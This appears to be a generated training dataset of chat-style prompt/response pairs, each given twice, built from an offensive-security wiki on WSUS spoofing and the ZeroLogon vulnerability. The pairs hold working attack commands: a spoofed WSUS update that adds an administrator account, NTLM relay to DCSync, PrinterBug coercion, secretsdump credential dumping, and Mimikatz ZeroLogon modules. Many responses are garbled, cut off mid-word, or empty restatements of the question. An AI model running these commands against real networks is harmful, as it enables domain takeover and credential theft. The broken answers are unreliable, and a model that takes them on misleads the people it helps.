System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the python3 syntax for wsus spoofing - preparing the evil wsus?

Response: python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for WSUS spoofing - Preparing the evil WSUS

[Assistant] python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for WSUS spoofing - Preparing the evil WSUS

Response: python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'`?

[Assistant] This command is used for wsus spoofing - preparing the evil wsus. Preparing the evil WSUS

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `python3 pywsus.py --host $network_facing_ip --port 8530 --executable /path/to/PsExec64.exe --command '/accepteula /s cmd.exe /c "net user testuser somepassword /add && net localgroup Administrators testuser /add"'`?

Response: This command is used for wsus spoofing - preparing the evil wsus. Preparing the evil WSUS


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is WSUS spoofing - Poisoning and hijacking?

[Assistant]
Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is bettercap (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.

Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is WSUS spoofing - Poisoning and hijacking?

Response:
Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is bettercap (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.

Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through WSUS spoofing - Poisoning and hijacking

[Assistant]
Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is bettercap (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.

Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through WSUS spoofing - Poisoning and hijacking

Response:
Once the WSUS server is up and running, the ARP poisoning attack can start. The best tool to operate ARP poisoning is bettercap (Go) and for the majority of the scenarios, basic knowledge of the iptables utility is required.

Packets from the client to the WSUS server need to be hijacked and sent to the attacker's evil WSUS server. In order to do so, the attacker must pose as the client's gateway, route all traffic to the real gateway except the packets destined to the WSUS server.

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does WSUS spoofing - Triggering Windows update work?

[Assistant]
The search for Windows updates can be manually triggered when having access to the target computer by going to Settings > Update & Security > Windows Update > Check for updates.

> [!TIP]
> By default, the automatic updates interval is 22 hours (source).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does WSUS spoofing - Triggering Windows update work?

Response:
The search for Windows updates can be manually triggered when having access to the target computer by going to Settings > Update & Security > Windows Update > Check for updates.

> [!TIP]
> By default, the automatic updates interval is 22 hours (source).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do WSUS spoofing - Triggering Windows update

[Assistant]
The search for Windows updates can be manually triggered when having access to the target computer by going to Settings > Update & Security > Windows Update > Check for updates.

> [!TIP]
> By default, the automatic updates interval is 22 hours (source).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do WSUS spoofing - Triggering Windows update

Response:
The search for Windows updates can be manually triggered when having access to the target computer by going to Settings > Update & Security > Windows Update > Check for updates.

> [!TIP]
> By default, the automatic updates interval is 22 hours (source).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does WSUS spoofing - Alternative attack work?

[Assistant] Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost : WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does WSUS spoofing - Alternative attack work?

Response: Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost : WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out WSUS spoofing - Alternative attack during a pentest?

[Assistant] Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost : WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out WSUS spoofing - Alternative attack during a pentest?

Response: Another way of attacking insecure WSUS without having to rely on ARP poisoning but requiring user access to the target machine is explained in the following blogpost : WSUS Attacks Part 2: CVE-2020-1013 a Windows 10 Local Privilege Escalation 1-Day


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about ZeroLogon - Theory?

[Assistant]
Netlogon is a service verifying logon requests, registering, authenticating, and locating domain controllers. MS-NRPC, the Netlogon Remote Protocol RPC interface is an authentication mechanism part of that service. MS-NRPC is used primarily to maintain the relationship between a machine and its domain, and relationships among domain controllers (DCs) and domains.

The CVE-2020-1472 findings demonstrated that MS-NRPC used a custom and insecure cryptographic protocol (i.e. it reuses a known, static, zero-value Initialization Vector (IV) in an AES-CFB8 mode) when establishing a Netlogon Secure Channel connection to a Domain Controller allowing for an Elevation of Privilege vulnerability.

There were many concepts to understand in the original exploit scenario (the "password change" one).

* Concept #1: authentication through MS-NRPC uses AES-CFB8. This means that for 1 in 256 possibilities, every block of the ciphertext will be \x00 bytes if both the IV and the plaintext are \x00 bytes.
* Concept #2: authentication through MS-NRPC uses a static and null IV (only \x00 bytes, hence partly validating concept #1).
* Concept #3: MS-NRPC signing and sealing don't rely on the same vulnerable mechanisms but are optional and can be ignored.
* Concept #4: machine accounts have an unlimited number of login attempts, hence allowing for an authentication bypass and the spoofing of these accounts thanks to concepts #1 and #2 (by using a plaintext filled with \x00 bytes and by doing enough attempts).
* Concept #5: the NetrServerPasswordSet2 call can be used to reset an account's password. The new password structure to supply in this call has to be encrypted with the same vulnerable mechanisms stated in concepts #1 and #2.
* Concept #6: the password structure can be filled with \x00 bytes, leading to the setting a new password of a 0 characters length for the target account.
* Concept #7: all previous concepts can be chained to reset a domain controller's password and obtain domain-ad

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about ZeroLogon - Theory?

Response:
Netlogon is a service verifying logon requests, registering, authenticating, and locating domain controllers. MS-NRPC, the Netlogon Remote Protocol RPC interface is an authentication mechanism part of that service. MS-NRPC is used primarily to maintain the relationship between a machine and its domain, and relationships among domain controllers (DCs) and domains.

The CVE-2020-1472 findings demonstrated that MS-NRPC used a custom and insecure cryptographic protocol (i.e. it reuses a known, static, zero-value Initialization Vector (IV) in an AES-CFB8 mode) when establishing a Netlogon Secure Channel connection to a Domain Controller allowing for an Elevation of Privilege vulnerability.

There were many concepts to understand in the original exploit scenario (the "password change" one).

* Concept #1: authentication through MS-NRPC uses AES-CFB8. This means that for 1 in 256 possibilities, every block of the ciphertext will be \x00 bytes if both the IV and the plaintext are \x00 bytes.
* Concept #2: authentication through MS-NRPC uses a static and null IV (only \x00 bytes, hence partly validating concept #1).
* Concept #3: MS-NRPC signing and sealing don't rely on the same vulnerable mechanisms but are optional and can be ignored.
* Concept #4: machine accounts have an unlimited number of login attempts, hence allowing for an authentication bypass and the spoofing of these accounts thanks to concepts #1 and #2 (by using a plaintext filled with \x00 bytes and by doing enough attempts).
* Concept #5: the NetrServerPasswordSet2 call can be used to reset an account's password. The new password structure to supply in this call has to be encrypted with the same vulnerable mechanisms stated in concepts #1 and #2.
* Concept #6: the password structure can be filled with \x00 bytes, leading to the setting a new password of a 0 characters length for the target account.
* Concept #7: all previous concepts can be chained to reset a domain controller's password and obtain domain-ad


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on ZeroLogon - Theory

[Assistant]
Netlogon is a service verifying logon requests, registering, authenticating, and locating domain controllers. MS-NRPC, the Netlogon Remote Protocol RPC interface is an authentication mechanism part of that service. MS-NRPC is used primarily to maintain the relationship between a machine and its domain, and relationships among domain controllers (DCs) and domains.

The CVE-2020-1472 findings demonstrated that MS-NRPC used a custom and insecure cryptographic protocol (i.e. it reuses a known, static, zero-value Initialization Vector (IV) in an AES-CFB8 mode) when establishing a Netlogon Secure Channel connection to a Domain Controller allowing for an Elevation of Privilege vulnerability.

There were many concepts to understand in the original exploit scenario (the "password change" one).

* Concept #1: authentication through MS-NRPC uses AES-CFB8. This means that for 1 in 256 possibilities, every block of the ciphertext will be \x00 bytes if both the IV and the plaintext are \x00 bytes.
* Concept #2: authentication through MS-NRPC uses a static and null IV (only \x00 bytes, hence partly validating concept #1).
* Concept #3: MS-NRPC signing and sealing don't rely on the same vulnerable mechanisms but are optional and can be ignored.
* Concept #4: machine accounts have an unlimited number of login attempts, hence allowing for an authentication bypass and the spoofing of these accounts thanks to concepts #1 and #2 (by using a plaintext filled with \x00 bytes and by doing enough attempts).
* Concept #5: the NetrServerPasswordSet2 call can be used to reset an account's password. The new password structure to supply in this call has to be encrypted with the same vulnerable mechanisms stated in concepts #1 and #2.
* Concept #6: the password structure can be filled with \x00 bytes, leading to the setting a new password of a 0 characters length for the target account.
* Concept #7: all previous concepts can be chained to reset a domain controller's password and obtain domain-ad

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Netlogon is a service verifying logon requests, registering, authenticating, and locating domain controllers. MS-NRPC, the Netlogon Remote Protocol RPC interface is an authentication mechanism part of that service. MS-NRPC is used primarily to maintain the relationship between a machine and its domain, and relationships among domain controllers (DCs) and domains.

The CVE-2020-1472 findings demonstrated that MS-NRPC used a custom and insecure cryptographic protocol (i.e. it reuses a known, static, zero-value Initialization Vector (IV) in an AES-CFB8 mode) when establishing a Netlogon Secure Channel connection to a Domain Controller allowing for an Elevation of Privilege vulnerability.

There were many concepts to understand in the original exploit scenario (the "password change" one).

* Concept #1: authentication through MS-NRPC uses AES-CFB8. This means that for 1 in 256 possibilities, every block of the ciphertext will be \x00 bytes if both the IV and the plaintext are \x00 bytes.
* Concept #2: authentication through MS-NRPC uses a static and null IV (only \x00 bytes, hence partly validating concept #1).
* Concept #3: MS-NRPC signing and sealing don't rely on the same vulnerable mechanisms but are optional and can be ignored.
* Concept #4: machine accounts have an unlimited number of login attempts, hence allowing for an authentication bypass and the spoofing of these accounts thanks to concepts #1 and #2 (by using a plaintext filled with \x00 bytes and by doing enough attempts).
* Concept #5: the NetrServerPasswordSet2 call can be used to reset an account's password. The new password structure to supply in this call has to be encrypted with the same vulnerable mechanisms stated in concepts #1 and #2.
* Concept #6: the password structure can be filled with \x00 bytes, leading to the setting a new password of a 0 characters length for the target account.
* Concept #7: all previous concepts can be chained to reset a domain controller's password and obtain domain-ad


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain ZeroLogon - Authentication relay technique

[Assistant]
Another technique, showcased by Dirk-jan no later than 2 weeks after the public disclosure, highlighted another way of exploiting the vulnerability. That technique relies on a relayed authentication to directly operate a DCSync, hence having no impact on the continuity of services.

In order to operate the attack, the Impacket's script ntlmrelayx (Python) can be used.

``bash
ntlmrelayx -t dcsync://$domain_controller_2 -smb2support
`

Once the relay servers are up and running and waiting for incoming trafic, attackers need to coerce a Domain Controller's authentication (or from another account with enough privileges). One way of doing this is to rely on the PrinterBug.

`bash
dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain ZeroLogon - Authentication relay technique

Response:
Another technique, showcased by Dirk-jan no later than 2 weeks after the public disclosure, highlighted another way of exploiting the vulnerability. That technique relies on a relayed authentication to directly operate a DCSync, hence having no impact on the continuity of services.

In order to operate the attack, the Impacket's script ntlmrelayx (Python) can be used.

``bash
ntlmrelayx -t dcsync://$domain_controller_2 -smb2support
`

Once the relay servers are up and running and waiting for incoming trafic, attackers need to coerce a Domain Controller's authentication (or from another account with enough privileges). One way of doing this is to rely on the PrinterBug.

`bash
dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out ZeroLogon - Authentication relay technique during a pentest?

[Assistant]
Another technique, showcased by Dirk-jan no later than 2 weeks after the public disclosure, highlighted another way of exploiting the vulnerability. That technique relies on a relayed authentication to directly operate a DCSync, hence having no impact on the continuity of services.

In order to operate the attack, the Impacket's script ntlmrelayx (Python) can be used.

``bash
ntlmrelayx -t dcsync://$domain_controller_2 -smb2support
`

Once the relay servers are up and running and waiting for incoming trafic, attackers need to coerce a Domain Controller's authentication (or from another account with enough privileges). One way of doing this is to rely on the PrinterBug.

`bash
dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out ZeroLogon - Authentication relay technique during a pentest?

Response:
Another technique, showcased by Dirk-jan no later than 2 weeks after the public disclosure, highlighted another way of exploiting the vulnerability. That technique relies on a relayed authentication to directly operate a DCSync, hence having no impact on the continuity of services.

In order to operate the attack, the Impacket's script ntlmrelayx (Python) can be used.

``bash
ntlmrelayx -t dcsync://$domain_controller_2 -smb2support
`

Once the relay servers are up and running and waiting for incoming trafic, attackers need to coerce a Domain Controller's authentication (or from another account with enough privileges). One way of doing this is to rely on the PrinterBug.

`bash
dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] What is the ntlmrelayx syntax for zerologon - authentication relay technique?

[Assistant] ntlmrelayx -t dcsync://$domain_controller_2 -smb2support

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

What is the ntlmrelayx syntax for zerologon - authentication relay technique?

Response: ntlmrelayx -t dcsync://$domain_controller_2 -smb2support


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out ZeroLogon - Authentication relay technique during a pentest?

[Assistant] ntlmrelayx -t dcsync://$domain_controller_2 -smb2support

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: ntlmrelayx -t dcsync://$domain_controller_2 -smb2support


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `ntlmrelayx -t dcsync://$domain_controller_2 -smb2support`?

[Assistant] This command is used for zerologon - authentication relay technique. Authentication relay technique

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `ntlmrelayx -t dcsync://$domain_controller_2 -smb2support`?

Response: This command is used for zerologon - authentication relay technique. Authentication relay technique


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use dementor.py for zerologon - authentication relay technique?

[Assistant] dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use dementor.py for zerologon - authentication relay technique?

Response: dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for ZeroLogon - Authentication relay technique

[Assistant] dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for ZeroLogon - Authentication relay technique

Response: dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1`?

[Assistant] This command is used for zerologon - authentication relay technique. Authentication relay technique

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `dementor.py -d $domain -u $user -p $password $attacker_ip $domain_controller_1`?

Response: This command is used for zerologon - authentication relay technique. Authentication relay technique


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about ZeroLogon - Password change ( :warning: disruptive)?

[Assistant]
> [!CAUTION]
> This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is not advised.

This exploit scenario changes the NT hash of the domain controller computer account in Active Directory, but not in the local SAM database, hence creating some issues in Active Directory domains. In order to prevent disruption as much as possible, attackers can try to exploit the CVE, find the NT hash of the Domain Controller account before it was changed, and set it back in Active Directory.

::: tabs

=== UNIX-like

The original attack path can be conducted from UNIX-like systems with the following Python scripts.

* Secura BV's scanning PoC
* Dirk-Jan's exploit script
* Dirk-Jan's restore script

```bash

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about ZeroLogon - Password change ( :warning: disruptive)?

Response:
> [!CAUTION]
> This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is not advised.

This exploit scenario changes the NT hash of the domain controller computer account in Active Directory, but not in the local SAM database, hence creating some issues in Active Directory domains. In order to prevent disruption as much as possible, attackers can try to exploit the CVE, find the NT hash of the Domain Controller account before it was changed, and set it back in Active Directory.

::: tabs

=== UNIX-like

The original attack path can be conducted from UNIX-like systems with the following Python scripts.

* Secura BV's scanning PoC
* Dirk-Jan's exploit script
* Dirk-Jan's restore script

```bash


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on ZeroLogon - Password change ( :warning: disruptive)

[Assistant]
> [!CAUTION]
> This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is not advised.

This exploit scenario changes the NT hash of the domain controller computer account in Active Directory, but not in the local SAM database, hence creating some issues in Active Directory domains. In order to prevent disruption as much as possible, attackers can try to exploit the CVE, find the NT hash of the Domain Controller account before it was changed, and set it back in Active Directory.

::: tabs

=== UNIX-like

The original attack path can be conducted from UNIX-like systems with the following Python scripts.

* Secura BV's scanning PoC
* Dirk-Jan's exploit script
* Dirk-Jan's restore script

```bash

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on ZeroLogon - Password change ( :warning: disruptive)

Response:
> [!CAUTION]
> This technique can break the domain's replication services hence leading to massive disruption, running the following "password change" technique is not advised.

This exploit scenario changes the NT hash of the domain controller computer account in Active Directory, but not in the local SAM database, hence creating some issues in Active Directory domains. In order to prevent disruption as much as possible, attackers can try to exploit the CVE, find the NT hash of the Domain Controller account before it was changed, and set it back in Active Directory.

::: tabs

=== UNIX-like

The original attack path can be conducted from UNIX-like systems with the following Python scripts.

* Secura BV's scanning PoC
* Dirk-Jan's exploit script
* Dirk-Jan's restore script

```bash


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Obtain the Domain Admin's NT hash work?

[Assistant] secretsdump -no-pass 'Domain'/'DC_computer_account$'@'Domain_controller'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Obtain the Domain Admin's NT hash work?

Response: secretsdump -no-pass 'Domain'/'DC_computer_account$'@'Domain_controller'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Obtain the Domain Admin's NT hash?

[Assistant] secretsdump -no-pass 'Domain'/'DC_computer_account$'@'Domain_controller'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Obtain the Domain Admin's NT hash?

Response: secretsdump -no-pass 'Domain'/'DC_computer_account$'@'Domain_controller'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Obtain the machine account hex encoded password with the domain admin credentials?

[Assistant] secretsdump -hashes :'NThash' 'Domain'/'Domain_admin'@'Domain_controller'

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is Obtain the machine account hex encoded password with the domain admin credentials?

Response: secretsdump -hashes :'NThash' 'Domain'/'Domain_admin'@'Domain_controller'


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Obtain the machine account hex encoded password with the domain admin credentials

[Assistant] secretsdump -hashes :'NThash' 'Domain'/'Domain_admin'@'Domain_controller'

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Obtain the machine account hex encoded password with the domain admin credentials

Response: secretsdump -hashes :'NThash' 'Domain'/'Domain_admin'@'Domain_controller'


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does Restore the machine account password work?

[Assistant]
zerologon-restore 'Domain'/'DC_account'@'Domain_controller' -target-ip 'DC_IP_address' -hexpass 'DC_hexpass'
``

=== Windows

The attack can also be conducted from Windows systems with Mimikatz (C) using lsadump::zerologon to scan and exploit it, then obtain the krbtgt with lsadump::dcsync and reset the DC account with lsadump::postzerologon or use lsadump::changentlm.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does Restore the machine account password work?

Response:
zerologon-restore 'Domain'/'DC_account'@'Domain_controller' -target-ip 'DC_IP_address' -hexpass 'DC_hexpass'
``

=== Windows

The attack can also be conducted from Windows systems with Mimikatz (C) using lsadump::zerologon to scan and exploit it, then obtain the krbtgt with lsadump::dcsync and reset the DC account with lsadump::postzerologon or use lsadump::changentlm.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for Restore the machine account password?

[Assistant]
zerologon-restore 'Domain'/'DC_account'@'Domain_controller' -target-ip 'DC_IP_address' -hexpass 'DC_hexpass'
``

=== Windows

The attack can also be conducted from Windows systems with Mimikatz (C) using lsadump::zerologon to scan and exploit it, then obtain the krbtgt with lsadump::dcsync and reset the DC account with lsadump::postzerologon or use lsadump::changentlm.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for Restore the machine account password?

Response:
zerologon-restore 'Domain'/'DC_account'@'Domain_controller' -target-ip 'DC_IP_address' -hexpass 'DC_hexpass'
``

=== Windows

The attack can also be conducted from Windows systems with Mimikatz (C) using lsadump::zerologon to scan and exploit it, then obtain the krbtgt with lsadump::dcsync and reset the DC account with lsadump::postzerologon or use lsadump::changentlm.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform Restore the machine account password?

[Assistant]
=== Windows

The attack can also be conducted from Windows systems with [Mimikatz](https://github.com/gentilkiwi/mimikatz) (C) using [`lsadump::zerologon`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/zerologon) to scan and exploit it, then obtain the krbtgt with [`lsadump::dcsync`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync) and reset the DC account with [`lsadump::postzerologon`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/postzerologon) or use [`lsadump::changentlm`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/changentlm).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform Restore the machine account password?

Response:
=== Windows

The attack can also be conducted from Windows systems with [Mimikatz](https://github.com/gentilkiwi/mimikatz) (C) using [`lsadump::zerologon`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/zerologon) to scan and exploit it, then obtain the krbtgt with [`lsadump::dcsync`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/dcsync) and reset the DC account with [`lsadump::postzerologon`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/postzerologon) or use [`lsadump::changentlm`](https://tools.thehacker.recipes/mimikatz/modules/lsadump/changentlm).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for restore the machine account password. Restore the machine account password

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for restore the machine account password. Restore the machine account password


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain Scan for the vulnerability

